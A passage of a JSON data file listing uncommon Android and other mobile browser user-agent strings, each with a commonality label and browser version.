Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I8552 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; cm_tenderloin Build\\/IMM76L; CyanogenMod-9) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; it-it; GT-P5100 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-gb; GT-S5839i Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-za; GT-P5200 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; HTC_0P9O110\\/1.54.502.16 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; HUAWEI Y360-U31 Build\\/HUAWEIY360-U31) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30;\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-ph; MyPhone Agua Rain 2G Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-ca; SGH-I547C Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; pt-br; GT-S6802B Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; SPH-L720 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; N9510 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-gb; LG-E400 Build\\/GRK39F) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1 MMS\\/LG-Android-MMS-V1.2\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; Trio AXS 4G Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; MB860 Build\\/4.5.1A-129_OLY-145) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; GT-P7310 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; HTC_PN07120\\/5.12.502.2 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.1-update1; en-us; SGH-T959 Build\\/ECLAIR) AppleWebKit\\/530.17 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/530.17\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Linux;u;Android 4.2.2;zh-cn;) AppleWebKit\\/534.46 (KHTML,like Gecko) Version\\/5.1 Mobile Safari\\/10600.6.3\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; Galaxy S II Build\\/GRJ22) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; Sensation_4G Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-gb; GT-P3113 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; es-sa; LG-E400g Build\\/GRK39F) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1 MMS\\/LG-Android-MMS-V1.2\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; M660 Build\\/HuaweiM660) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-gb; SonyC1905 Build\\/15.4.A.0.23) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; Venue 8 3830 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SCH-I605 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build\\/JLS36C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; es-es; GT-I8160 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; es-es; GT-S5830i Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; pt-br; GT-P3100 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.7; en-us; XT555C Build\\/V1.67D) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; HTC6435LVW 4G Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-gb; GT-S5300 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; fi-fi; GT-P5220 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; T-Mobile myTouch Q Build\\/HuaweiU8730) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; DROID2 Build\\/4.5.1_57_DR4-51) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-gb; GT-I9000 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/1.6.0 (Linux; U; Android 4.2.2; GT-P5110 Build\\/JDQ39)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0; %lang_code%; GT-I9300 Build\\/IMM76D) adbeat.com\\/policy AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; myTouch_4G_Slide Build\\/GRJ22) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (linux;U;Android 5.0;en-us;E5563 Build\\/29.0.B.1.55) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 U3\\/0.8.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-gb; GT-N7000 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; ADR3010 Build\\/GRK39F) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; Intex Cloud y12 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-gb; GT-N7000 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; id-id; GT-I9082 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-nz; GT-P5210 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; RCT6691W3 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SPH-L300 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; ko-kr; SHV-E250L Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Android 5.0.1; HTC6525LVW Build\\/LRX22C) AppleWebKit\\/537.36 (KHTML, like Gecko) NTENTBrowser\\/1.1.0.541 (Kcell-KZ) Mobile Safari\\/537.36\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.3; en-ca; GT-I9000M Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-ca; SGH-T989D-parrot Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; pt-br; GT-P5100 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; N8000_WHTE_CKT Build\\/IMM76I) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; GT-S5830M Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SAMSUNG-SGH-I317 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; es-us; SGH-T999L Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2; en-us; Android SDK built for x86 Build\\/JOP40C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; Next10P12 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (SymbianOS\\/9.1; U; [en-us]) AppleWebKit\\/413 (KHTML, like Gecko) Safari\\/413\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; LG-C800 Build\\/GRK39F) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1 MMS\\/LG-Android-MMS-V1.0\\/1.2\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; Motorola RAZR MAXX Build\\/6.7.2-180_DHD-16_NA-30) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; SGH-M919 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SCH-R530M Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; zh-cn; SAGA A806 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.1; en-au; ASUS Transformer Pad TF700T Build\\/JOP40D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I9082 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; it-it; GT-S5570I Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-gb; GT-P7510 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-gb; GT-I9100 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; nl-nl; GT-I8190 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; MB612 Build\\/4.5.1-KNS-29-BST-15) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-us; LG-L38C Build\\/GRK39F) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.4; en-gb; GT-I9060I Build\\/KTU84P) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; GT-P5100 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; fr-fr; GT-N5110 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; en-us; full Android on Microsoft Windows, pad, pc, n*books Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; SGH-M919 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; es-es; GT-I9070 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; SCH-R530X Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.3; de-de; MD_LIFETAB_P9516 Build\\/IML74K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; en-gb; GT-S5302 Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-gb; GT-S7580 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SCH-S960L Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; it-it; SM-G350 Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-ca; SGH-I317M Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; DROID RAZR Build\\/6.7.2-180_DHD-16_M4-31) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.2.2; en-us; LG-P509 Build\\/FRG83G) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1 MMS\\/LG-Android-MMS-V1.0\\/1.2\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; en-us; SCH-I535 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; ZTE N9120 Build\\/IMM76I) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Dalvik\\/1.6.0 (Linux; U; Android 4.3; GT-I9300 Build\\/JSS15J)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; de-de; ADM816KC Build\\/JRO03H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; en-us; CP-DX650 Build\\/JRO03L) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30 (Cisco Endpoint)\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3.1; de-de; GT-I9195 Build\\/JLS36I) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30 CyanogenMod\\/10.2.1.3\\/serranoltexx\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Android\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SCH-I200 4G Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; H30-U10 Build\\/HuaweiH30-U10) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"DDG-Android-3.1.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.2; en-us; HTC_PN07120\\/4.18.502.7 Build\\/KOT49H) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.6; es-us; GT-S5570L Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.3; en-au; GT-I9100T Build\\/GINGERBREAD) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; es-us; SAMSUNG-SGH-I467 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; LG-P930\\/V10j Build\\/GRJ90) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SAMSUNG-SGH-I747 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; tr-tr; GT-I9300 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; HTC6435LVW 4G Build\\/JDQ39) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; tr-tr; GT-I8190 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; SPH-D710BST Build\\/IMM76I) AppleWebKit\\/534.30 (KHTML, like Gecko) 